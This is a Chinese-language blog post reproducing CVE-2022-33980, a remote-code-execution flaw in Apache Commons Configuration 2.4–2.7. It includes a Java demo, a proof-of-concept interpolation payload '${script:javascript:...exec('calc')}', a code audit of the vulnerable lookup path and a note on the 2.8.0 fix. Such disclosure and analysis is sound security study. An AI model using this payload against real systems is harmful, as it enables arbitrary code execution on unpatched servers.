码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • 『JavaWeb漏洞复现』CVE-2022-33980: Apache Commons Configuration 读文件RCE


    文章目录

    • 影响版本
    • 漏洞原理(机翻自CVE页面)
    • 漏洞复现
      • 环境配置
        • jdk版本
        • pom.xml
      • 基本使用demo
      • PoC
    • 代码审计
    • 对生产环境的影响
    • 漏洞修复
    • 参考
    • 完

    影响版本

    Apache Commons Configuration: 2.4 ~ 2.7

    漏洞原理(机翻自CVE页面)

    Apache Commons配置执行变量插值,允许属性被动态地评估和扩展。插值的标准格式是"${prefix:name}",其中 "prefix "用于定位执行插值的org.apache.commons.configuration2.interpol.Lookup的一个实例。从2.4版本开始,一直到2.7版本,默认的Lookup实例集包括可能导致任意代码执行或与远程服务器联系的插值器。这些查找器是 - “script” - 使用JVM脚本执行引擎(javax.script)执行表达式 - “dns” - 解析dns记录 - “url” - 从urls加载值,包括从远程服务器加载值 如果使用不受信任的配置值,使用受影响版本中的插值默认值的应用程序可能会受到远程代码执行或无意中与远程服务器接触的影响。建议用户升级到Apache Commons Configuration 2.8.0,该版本默认禁用了有问题的插值器。

    漏洞复现

    环境配置

    jdk版本

    java version “11” 2018-09-25

    pom.xml

    
    <dependency>
        <groupId>org.apache.commonsgroupId>
        <artifactId>commons-configuration2artifactId>
        <version>2.7version>
    dependency>
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    基本使用demo

    import org.apache.commons.configuration2.interpol.ConfigurationInterpolator;
    import org.apache.commons.configuration2.interpol.InterpolatorSpecification;
    
    public class Main {
        public static void main(String[] args) {
            InterpolatorSpecification specification = new InterpolatorSpecification.
                    Builder().
                    withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups()).
                    withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values()).
                    create();
            ConfigurationInterpolator interpolator = ConfigurationInterpolator.fromSpecification(specification);
            System.out.printf("%s", interpolator.interpolate("${env:Path}"));
        }
    }
    
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15

    运行,通过ConfigurationInterpolator.interpolate()方法解析出表达式的值

    在这里插入图片描述

    PoC

    解析表达式${script:javascript:java.lang.Runtime.getRuntime().exec('calc')}

    在这里插入图片描述

    代码审计

    进入方法ConfigurationInterpolator.interpolate(),传入字符型的单一变量进入this.resolveSingleVariable()解析变量

    在这里插入图片描述

    解析之前还有一步调用extractVariableName()方法

    在这里插入图片描述

    该方法把${}包裹的表达式的值截取出来了,之后就传入外层的this.reslove()解析

    在这里插入图片描述

    首先截取出prefix:name,然后调用this.fetchLookupForPrefix("script").lookup("javascript:java.lang...")方法,也就是调用prefix对应插值器的lookup方法查找name对应的值

    在这里插入图片描述

    fetchLookupForPrefix("script")获取了键script对应的StringLookupAdapter对象

    在这里插入图片描述

    实际对应的是ScriptStringLookup对象,然后调用它的lookup方法

    首先从传入的name中继续分割出engineName和script

    在这里插入图片描述

    然后加载脚本引擎、调用对应引擎的eval方法执行name中的script脚本

    这里直接加载了javascript的引擎,老套路了,eval直接就能执行java代码

    在这里插入图片描述

    对生产环境的影响

    Apache Commons Configuration生产中是用于对配置文件的操作,因此更多是通过读取配置文件RCE,前置条件还要写文件+获取配置文件路径,然后调用 ConfigurationInterpolator.interpolate(payload)触发

    漏洞修复

    官方推送了2.8.0版本修复了bug

    在这里插入图片描述

    把三个危险插值器移除了

    在这里插入图片描述

    参考

    Commons Configuration – Basic Features (apache.org)

    commons-configuration2提供的变量占位符(Variable Interpolation)功能 - 腾讯云开发者社区-腾讯云 (tencent.com)

    CVE - CVE-2022-33980 (mitre.org)

    CVE-2022-33980: Apache Commons Configuration insecure interpolation defaults-Apache Mail Archives

    oss-security - CVE-2022-33980:Apache Commons Configuration 不安全插值默认值 (openwall.com)

    Commons Configuration – Apache Commons Configuration Release Notes

    完

    欢迎关注我的CSDN博客 :@Ho1aAs
    版权属于:Ho1aAs
    本文链接:https://blog.csdn.net/Xxy605/article/details/126114740
    版权声明:本文为原创,转载时须注明出处及本声明

  • 相关阅读:
    字符串截取
    Word的只读模式和限制编辑有区别吗?如何设置和取消?
    没做好这些准备,千万不要婚前同居!!
    A股风格因子看板 (2023.09 第03期)
    Leetcode.122 买卖股票的最佳时机 II
    “文件迁徙行动”:高效送达第三方档案系统,守护惬意下班时光
    pycharm终端pip安装模块成功但还是显示找不到 ModuleNotFoundError: No module named
    [一篇读懂]C语言九讲:线性表应用
    第8天:Django Admin高级配置
    Jmeter连接数据库jdbc
  • 原文地址:https://blog.csdn.net/Xxy605/article/details/126114740
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号